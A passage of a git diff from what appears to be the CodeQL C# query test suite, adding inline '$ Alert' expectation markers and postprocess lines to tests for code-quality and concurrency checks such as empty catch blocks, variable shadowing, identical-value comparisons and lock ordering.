Practices/Comments/TodoComments/TodoCommentsBad.cs @@ -4,7 +4,7 @@ class Bad { public static double SolveQuadratic(double a, double b, double c) { - // TODO: handle case where a == 0 + // TODO: handle case where a == 0 // $ Alert return (-b + Math.Sqrt(b * b - 4 * a * c)) / (2 * a); } } diff --git a/csharp/ql/test/query-tests/Bad Practices/Declarations/EmptyInterface/EmptyInterface.qlref b/csharp/ql/test/query-tests/Bad Practices/Declarations/EmptyInterface/EmptyInterface.qlref index 3984405db6bd..b2b0cf600bce 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Declarations/EmptyInterface/EmptyInterface.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Declarations/EmptyInterface/EmptyInterface.qlref @@ -1 +1,2 @@ -Bad Practices/Declarations/EmptyInterface.ql \ No newline at end of file +query: Bad Practices/Declarations/EmptyInterface.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Declarations/EmptyInterface/EmptyInterfaceBad.cs b/csharp/ql/test/query-tests/Bad Practices/Declarations/EmptyInterface/EmptyInterfaceBad.cs index 00f577a62a4f..09fcf1003d71 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Declarations/EmptyInterface/EmptyInterfaceBad.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Declarations/EmptyInterface/EmptyInterfaceBad.cs @@ -2,6 +2,6 @@ class Bad { - interface IsPrintable { } + interface IsPrintable { } // $ Alert class Form1 : IsPrintable { } } diff --git a/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMember.cs b/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMember.cs index cf3062f8af65..a1d2cf846097 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMember.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMember.cs @@ -4,13 +4,13 @@ class C { protected int f; - protected virtual void M1(int f) { } // BAD + protected virtual void M1(int f) { } // BAD // $ Alert int M2(int f) => this.f + f; // GOOD void M3() { - var f = ""; // BAD + var f = ""; // BAD // $ Alert } void M4() @@ -23,13 +23,13 @@ struct S { int f; - void M1(int f) { } // BAD + void M1(int f) { } // BAD // $ Alert int M2(int f) => this.f + f; // GOOD void M3() { - var f = ""; // BAD + var f = ""; // BAD // $ Alert } void M4() @@ -45,9 +45,9 @@ interface I class C2 : C, I { - protected override void M1(int f) { } // BAD + protected override void M1(int f) { } // BAD // $ Alert - public void M5(int f) { } // BAD + public void M5(int f) { } // BAD // $ Alert } class C3 : C, I diff --git a/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMember.qlref b/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMember.qlref index 913445e68f24..d7d02b3a9b8d 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMember.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMember.qlref @@ -1 +1,2 @@ -Bad Practices/Declarations/LocalScopeVariableShadowsMember.ql \ No newline at end of file +query: Bad Practices/Declarations/LocalScopeVariableShadowsMember.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMemberBad.cs b/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMemberBad.cs index 80ce45469375..d2be18995763 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMemberBad.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Declarations/LocalScopeVariableShadowsMember/LocalScopeVariableShadowsMemberBad.cs @@ -7,7 +7,7 @@ class Bad public void DisplayDetails() { - var title = "Person Details"; + var title = "Person Details"; // $ Alert var message = "Title: " + title + "\nName: " + name; MessageBox.Show(message, title); } diff --git a/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnly.cs b/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnly.cs index 0d7d15b56532..0fa96bccb0f2 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnly.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnly.cs @@ -2,7 +2,7 @@ class NoConstantsOnly { - abstract class MathConstants + abstract class MathConstants // $ Alert { public const double Pi = 3.14; // BAD } diff --git a/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnly.qlref b/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnly.qlref index 3b7e478699de..b46263c9d51a 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnly.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnly.qlref @@ -1 +1,2 @@ -Bad Practices/Declarations/NoConstantsOnly.ql \ No newline at end of file +query: Bad Practices/Declarations/NoConstantsOnly.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnlyBad.cs b/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnlyBad.cs index 28f308546ad6..cd92eabd7cf1 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnlyBad.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Declarations/NoConstantsOnly/NoConstantsOnlyBad.cs @@ -2,7 +2,7 @@ class Bad { - abstract class MathConstants + abstract class MathConstants // $ Alert { public static readonly double Pi = 3.14; } diff --git a/csharp/ql/test/query-tests/Bad Practices/Declarations/TooManyRefParameters/TooManyRefParameters.qlref b/csharp/ql/test/query-tests/Bad Practices/Declarations/TooManyRefParameters/TooManyRefParameters.qlref index 867e4e929bd0..37d7e6ce81ee 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Declarations/TooManyRefParameters/TooManyRefParameters.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Declarations/TooManyRefParameters/TooManyRefParameters.qlref @@ -1 +1,2 @@ -Bad Practices/Declarations/TooManyRefParameters.ql \ No newline at end of file +query: Bad Practices/Declarations/TooManyRefParameters.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Declarations/TooManyRefParameters/TooManyRefParametersBad.cs b/csharp/ql/test/query-tests/Bad Practices/Declarations/TooManyRefParameters/TooManyRefParametersBad.cs index 08da4c6c3345..2d8f65570eea 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Declarations/TooManyRefParameters/TooManyRefParametersBad.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Declarations/TooManyRefParameters/TooManyRefParametersBad.cs @@ -2,7 +2,7 @@ class Bad { - private static void PopulateDetails(ref string name, ref string address, ref string tel) + private static void PopulateDetails(ref string name, ref string address, ref string tel) // $ Alert { name = "Foo"; address = "23 Bar Street"; diff --git a/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.cs b/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.cs index e57deea7f3d1..812c271e1762 100644 --- a/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.cs +++ b/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.cs @@ -9,7 +9,7 @@ void bad() } catch (Exception) { - } + } // $ Alert } void good() diff --git a/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.qlref b/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.qlref index 734bb1cadf90..3ba3a0114731 100644 --- a/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.qlref @@ -1 +1,2 @@ -Bad Practices/EmptyCatchBlock.ql \ No newline at end of file +query: Bad Practices/EmptyCatchBlock.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollection.cs b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollection.cs index 795952a82055..7e13d2843edb 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollection.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollection.cs @@ -4,7 +4,7 @@ class AbstractToConcreteCollection { void M(IEnumerable strings) { - var list = (List) strings; // BAD + var list = (List) strings; // BAD // $ Alert var o = (object) strings; // GOOD } } diff --git a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref index 307c259dbbb9..26e061e5206e 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref @@ -1 +1,2 @@ -Bad Practices/Implementation Hiding/AbstractToConcreteCollection.ql \ No newline at end of file +query: Bad Practices/Implementation Hiding/AbstractToConcreteCollection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollectionBad.cs b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollectionBad.cs index 9538fb9d7a06..92b80ea94d73 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollectionBad.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/AbstractToConcreteCollection/AbstractToConcreteCollectionBad.cs @@ -5,7 +5,7 @@ class Bad public static void Main(string[] args) { var names = GetNames(); - var list = (List) names; + var list = (List) names; // $ Alert list.Add("Eve"); } diff --git a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentation.cs b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentation.cs index 01b05a000278..073ae9086cfd 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentation.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentation.cs @@ -5,7 +5,7 @@ class ExposeRepresentation class Range { private int[] rarray = new int[2]; - public void Set(int[] a) { rarray = a; } + public void Set(int[] a) { rarray = a; } // $ Alert } public static void Main(string[] args) diff --git a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentation.qlref b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentation.qlref index e8bd17759d48..eafb170539aa 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentation.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentation.qlref @@ -1 +1,2 @@ -Bad Practices/Implementation Hiding/ExposeRepresentation.ql \ No newline at end of file +query: Bad Practices/Implementation Hiding/ExposeRepresentation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentationBad.cs b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentationBad.cs index 221f906aa97f..ee56212d1737 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentationBad.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/ExposeRepresentation/ExposeRepresentationBad.cs @@ -15,7 +15,7 @@ public Range(int min, int max) } } - public int[] Get() => rarray; + public int[] Get() => rarray; // $ Alert } public static void Main(string[] args) diff --git a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArray.cs b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArray.cs index 210be320a6ee..5a169d651286 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArray.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArray.cs @@ -10,13 +10,13 @@ class Program public static readonly int[] EmptyArray4; // GOOD: empty - public static readonly int[] NonEmptyArray1 = new int[] { 42 }; // BAD + public static readonly int[] NonEmptyArray1 = new int[] { 42 }; // BAD // $ Alert static readonly int[] NonEmptyArray2 = new int[] { 42 }; // GOOD: private - public static readonly int[] NonEmptyArray3; // BAD + public static readonly int[] NonEmptyArray3; // BAD // $ Alert - public static readonly int[] Array = new int[new Random().Next()]; // BAD + public static readonly int[] Array = new int[new Random().Next()]; // BAD // $ Alert static Program() { diff --git a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArray.qlref b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArray.qlref index 8dcd9bf72bed..e49a055b5a5e 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArray.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArray.qlref @@ -1 +1,2 @@ -Bad Practices/Implementation Hiding/StaticArray.ql \ No newline at end of file +query: Bad Practices/Implementation Hiding/StaticArray.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArrayBad.cs b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArrayBad.cs index fe035d4e4f1d..57d8f21c1956 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArrayBad.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Implementation Hiding/StaticArray/StaticArrayBad.cs @@ -1,6 +1,6 @@ class Bad { - public static readonly string[] Foo = { "hello", "world" }; + public static readonly string[] Foo = { "hello", "world" }; // $ Alert public static void Main(string[] args) { Foo[0] = "goodbye"; diff --git a/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/ConfusingMethodNames/ConfusingMethodNames.qlref b/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/ConfusingMethodNames/ConfusingMethodNames.qlref index 3308ff3889ef..94d4dc04c64f 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/ConfusingMethodNames/ConfusingMethodNames.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/ConfusingMethodNames/ConfusingMethodNames.qlref @@ -1 +1,2 @@ -Bad Practices/Naming Conventions/ConfusingMethodNames.ql +query: Bad Practices/Naming Conventions/ConfusingMethodNames.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/ConfusingMethodNames/Program.cs b/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/ConfusingMethodNames/Program.cs index 7ec82a410312..ead2f8d79fe9 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/ConfusingMethodNames/Program.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/ConfusingMethodNames/Program.cs @@ -1,6 +1,6 @@ class C1 { - int F() => 0; // BAD: Confusing + int F() => 0; // BAD: Confusing // $ Alert int f() => 0; int G() => 0; // GOOD: Same name int G(int x) => x; diff --git a/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/VariableNameTooShort/VariableNameTooShort.cs b/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/VariableNameTooShort/VariableNameTooShort.cs index a5eb951e148a..052215a052be 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/VariableNameTooShort/VariableNameTooShort.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/VariableNameTooShort/VariableNameTooShort.cs @@ -3,14 +3,14 @@ class VariableNameTooShort { - int F; // BAD + int F; // BAD // $ Alert int Foo; // GOOD Func Func = _ => ""; - void M(int i /* BAD */, int[] args /* GOOD */) + void M(int i /* BAD */, int[] args /* GOOD */) // $ Alert { args.Select(x /* GOOD */ => x + 1); - Func func = x /* BAD */ => x + 1; + Func func = x /* BAD */ => x + 1; // $ Alert } } diff --git a/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/VariableNameTooShort/VariableNameTooShort.qlref b/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/VariableNameTooShort/VariableNameTooShort.qlref index 02458a1b30fc..c80ef4583b05 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/VariableNameTooShort/VariableNameTooShort.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Naming Conventions/VariableNameTooShort/VariableNameTooShort.qlref @@ -1 +1,2 @@ -Bad Practices/Naming Conventions/VariableNameTooShort.ql \ No newline at end of file +query: Bad Practices/Naming Conventions/VariableNameTooShort.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.cs b/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.cs index bf9b19c4a5c7..d3595dfb540f 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.cs @@ -4,7 +4,7 @@ class PathCombine { void bad() { - Path.Combine(@"C:\Users", @"C:\Program Files"); + Path.Combine(@"C:\Users", @"C:\Program Files"); // $ Alert } void good() diff --git a/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.qlref b/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.qlref index eaf41d047402..db4baecbd0f7 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.qlref @@ -1 +1,2 @@ -Bad Practices/PathCombine.ql \ No newline at end of file +query: Bad Practices/PathCombine.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/VirtualCallInConstructorOrDestructor/VirtualCallInConstructorOrDestructor.cs b/csharp/ql/test/query-tests/Bad Practices/VirtualCallInConstructorOrDestructor/VirtualCallInConstructorOrDestructor.cs index 767c4e484a14..85e8528e939e 100644 --- a/csharp/ql/test/query-tests/Bad Practices/VirtualCallInConstructorOrDestructor/VirtualCallInConstructorOrDestructor.cs +++ b/csharp/ql/test/query-tests/Bad Practices/VirtualCallInConstructorOrDestructor/VirtualCallInConstructorOrDestructor.cs @@ -42,7 +42,7 @@ class C : B C() { // Method call - f_virtual(); // BAD + f_virtual(); // BAD // $ Alert f_sealed(); // GOOD f_nonvirtual(); // GOOD f_interface(); // GOOD @@ -51,23 +51,23 @@ class C : B // Method access Action a; - a = f_virtual; // BAD + a = f_virtual; // BAD // $ Alert a = f_sealed; // GOOD a = f_nonvirtual; // GOOD a = f_interface; // GOOD // Property access - int i = p_virtual; // BAD + int i = p_virtual; // BAD // $ Alert i = p_sealed; // GOOD i = p_nonvirtual; // GOOD // Indexer access - i = this[0]; // BAD + i = this[0]; // BAD // $ Alert i = this[""]; // GOOD i = this[new object()]; // GOOD // Event access - e_virtual += f_nonvirtual; // BAD + e_virtual += f_nonvirtual; // BAD // $ Alert e_sealed += f_nonvirtual; // GOOD e_nonvirtual += f_nonvirtual; // GOOD } diff --git a/csharp/ql/test/query-tests/Bad Practices/VirtualCallInConstructorOrDestructor/VirtualCallInConstructorOrDestructor.qlref b/csharp/ql/test/query-tests/Bad Practices/VirtualCallInConstructorOrDestructor/VirtualCallInConstructorOrDestructor.qlref index 22b4b9fc49c7..b7e586c7dac9 100644 --- a/csharp/ql/test/query-tests/Bad Practices/VirtualCallInConstructorOrDestructor/VirtualCallInConstructorOrDestructor.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/VirtualCallInConstructorOrDestructor/VirtualCallInConstructorOrDestructor.qlref @@ -1 +1,2 @@ -Bad Practices/VirtualCallInConstructorOrDestructor.ql \ No newline at end of file +query: Bad Practices/VirtualCallInConstructorOrDestructor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/CSI/CompareIdenticalValues/CompareIdenticalValues.cs b/csharp/ql/test/query-tests/CSI/CompareIdenticalValues/CompareIdenticalValues.cs index 719aaa865761..07e4a7119921 100644 --- a/csharp/ql/test/query-tests/CSI/CompareIdenticalValues/CompareIdenticalValues.cs +++ b/csharp/ql/test/query-tests/CSI/CompareIdenticalValues/CompareIdenticalValues.cs @@ -11,8 +11,8 @@ class CompareIdenticalValues : Super { public void M() { - if (this.Foo == Foo) ; - if (base.Foo == Foo) ; + if (this.Foo == Foo) ; // $ Alert + if (base.Foo == Foo) ; // $ Alert if (Foo == new CompareIdenticalValues().Foo) ; var x = "Abc"; @@ -20,45 +20,45 @@ public void M() var temp = x == x; // BAD: but flagged by cs/constant-comparison double d = double.NaN; - if (d == d) ; // !double.IsNan(d) - if (d <= d) ; // !double.IsNan(d), but unlikely to be intentional - if (d >= d) ; // !double.IsNan(d), but unlikely to be intentional - if (d != d) ; // double.IsNan(d) - if (d > d) ; // always false - if (d < d) ; // always false + if (d == d) ; // !double.IsNan(d) // $ Alert + if (d <= d) ; // !double.IsNan(d), but unlikely to be intentional // $ Alert + if (d >= d) ; // !double.IsNan(d), but unlikely to be intentional // $ Alert + if (d != d) ; // double.IsNan(d) // $ Alert + if (d > d) ; // always false // $ Alert + if (d < d) ; // always false // $ Alert float f = float.NaN; - if (f == f) ; // !float.IsNan(f) - if (f <= f) ; // !float.IsNan(f), but unlikely to be intentional - if (f >= f) ; // !float.IsNan(f), but unlikely to be intentional - if (f != f) ; // float.IsNan(f) - if (f > f) ; // always false - if (f < f) ; // always false + if (f == f) ; // !float.IsNan(f) // $ Alert + if (f <= f) ; // !float.IsNan(f), but unlikely to be intentional // $ Alert + if (f >= f) ; // !float.IsNan(f), but unlikely to be intentional // $ Alert + if (f != f) ; // float.IsNan(f) // $ Alert + if (f > f) ; // always false // $ Alert + if (f < f) ; // always false // $ Alert int i = 0; if (i == i) ; // BAD: but flagged by cs/constant-condition if (i != i) ; // BAD: but flagged by cs/constant-condition CompareIdenticalValues c = null; - c.Prop.Equals(c.Prop); - Equals(c.Prop.Prop.Prop.Foo + 2, c.Prop.Prop.Prop.Foo + 2); + c.Prop.Equals(c.Prop); // $ Alert + Equals(c.Prop.Prop.Prop.Foo + 2, c.Prop.Prop.Prop.Foo + 2); // $ Alert Equals(c.Prop.Prop.Prop.Foo, c.Prop.Prop.Foo); if (base.Bar == Bar) ; - if (Bar == this.Bar) ; - Equals(this); + if (Bar == this.Bar) ; // $ Alert + Equals(this); // $ Alert if (1 + 1 == 2) ; // BAD: but flagged by cs/constant-condition if (1 + 1 == 3) ; if (0 == 1) ; var a = new int[0]; - if (a[0] == a[0]) ; + if (a[0] == a[0]) ; // $ Alert - if (this.Bar[0] == Bar[1 - 1]) ; + if (this.Bar[0] == Bar[1 - 1]) ; // $ Alert if (this.Bar[0] == Bar[1]) ; - if (this.Prop[Foo] == Prop[this.Foo]) ; + if (this.Prop[Foo] == Prop[this.Foo]) ; // $ Alert if (this.Prop[0] == Prop[1]) ; } @@ -73,17 +73,17 @@ public void IsBoxed(T x) where T : I public void IsBoxedWrong1(T x) where T : struct { - ReferenceEquals(x, x); + ReferenceEquals(x, x); // $ Alert } public void IsBoxedWrong2(T x) where T : class { - ReferenceEquals(x, x); + ReferenceEquals(x, x); // $ Alert } public void IsBoxedWrong3(T x) where T : Super { - ReferenceEquals(x, x); + ReferenceEquals(x, x); // $ Alert } public int this[int i] { get { return 0; } } diff --git a/csharp/ql/test/query-tests/CSI/CompareIdenticalValues/CompareIdenticalValues.qlref b/csharp/ql/test/query-tests/CSI/CompareIdenticalValues/CompareIdenticalValues.qlref index 9df8726c3122..cbe82efdbb0e 100644 --- a/csharp/ql/test/query-tests/CSI/CompareIdenticalValues/CompareIdenticalValues.qlref +++ b/csharp/ql/test/query-tests/CSI/CompareIdenticalValues/CompareIdenticalValues.qlref @@ -1 +1,2 @@ -CSI/CompareIdenticalValues.ql \ No newline at end of file +query: CSI/CompareIdenticalValues.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Concurrency/FutileSyncOnField/FutileSyncOnField.cs b/csharp/ql/test/query-tests/Concurrency/FutileSyncOnField/FutileSyncOnField.cs index b0fd29e17fa9..3bb2733dee0a 100644 --- a/csharp/ql/test/query-tests/Concurrency/FutileSyncOnField/FutileSyncOnField.cs +++ b/csharp/ql/test/query-tests/Concurrency/FutileSyncOnField/FutileSyncOnField.cs @@ -10,12 +10,12 @@ void f(Object o2) void test() { - lock (o) + lock (o) // $ Alert { o = new Foo(); // BAD } - lock (o) + lock (o) // $ Alert { f(o = null); // BAD } @@ -25,7 +25,7 @@ void test() o = new Foo(); // GOOD } - lock (o2) + lock (o2) // $ Alert { GetNewObject(out o2); // BAD } diff --git a/csharp/ql/test/query-tests/Concurrency/FutileSyncOnField/FutileSyncOnField.qlref b/csharp/ql/test/query-tests/Concurrency/FutileSyncOnField/FutileSyncOnField.qlref index f3967efa87b8..74b0da761fbf 100644 --- a/csharp/ql/test/query-tests/Concurrency/FutileSyncOnField/FutileSyncOnField.qlref +++ b/csharp/ql/test/query-tests/Concurrency/FutileSyncOnField/FutileSyncOnField.qlref @@ -1 +1,2 @@ -Concurrency/FutileSyncOnField.ql \ No newline at end of file +query: Concurrency/FutileSyncOnField.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrder.cs b/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrder.cs index d2634c3e793b..69f1b89c657e 100644 --- a/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrder.cs +++ b/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrder.cs @@ -3,7 +3,7 @@ class LocalTest { // BAD: b is flagged. - Object a, b, c; + Object a, b, c; // $ Alert void F() { @@ -24,7 +24,7 @@ void H() class GlobalTest { // BAD: b is flagged. - static Object a, b, c; + static Object a, b, c; // $ Alert void F() { @@ -51,7 +51,7 @@ void I() class LambdaTest { // BAD: a is flagged. - static Object a, b; + static Object a, b; // $ Alert void F() { diff --git a/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrder.qlref b/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrder.qlref index ee922bdeb80a..7404f9bf0183 100644 --- a/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrder.qlref +++ b/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrder.qlref @@ -1 +1,2 @@ -Concurrency/LockOrder.ql \ No newline at end of file +query: Concurrency/LockOrder.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrderBad.cs b/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrderBad.cs index a9dd05ac8663..f2c3b18f1b44 100644 --- a/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrderBad.cs +++ b/csharp/ql/test/query-tests/Concurrency/LockOrder/LockOrderBad.cs @@ -3,7 +3,7 @@ class Deadlock { - private readonly Object lock1 = new Object(); + private readonly Object lock1 = new Object(); // $ Alert private readonly Object lock2 = new Object(); public void thread1() diff --git a/csharp/ql/test/query-tests/Concurrency/LockThis/LockThis.cs b/csharp/ql/test/query-tests/Concurrency/LockThis/LockThis.cs index f1bc631ced95..cb1057c519b9 100644 --- a/csharp/ql/test/query-tests/Concurrency/LockThis/LockThis.cs +++ b/csharp/ql/test/query-tests/Concurrency/LockThis/LockThis.cs @@ -6,7 +6,7 @@ class Program void f() { - lock (this) // Not OK + lock (this) // Not OK // $ Alert { } diff --git a/csharp/ql/test/query-tests/Concurrency/LockThis/LockThis.qlref b/csharp/ql/test/query-tests/Concurrency/LockThis/LockThis.qlref index 1cdf31326db7..7eb86f638bd3 100644 --- a/csharp/ql/test/query-tests/Concurrency/LockThis/LockThis.qlref +++ b/csharp/ql/test/query-tests/Concurrency/LockThis/LockThis.qlref @@ -1 +1,2 @@ -Concurrency/LockThis.ql \ No newline at end of file +query: Concurrency/LockThis.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Concurrency/LockedWait/LockedWait.cs b/csharp/ql/test/query-tests/Concurrency/LockedWait/LockedWait.cs index 8fbee2d035af..61b2b56219ab 100644 --- 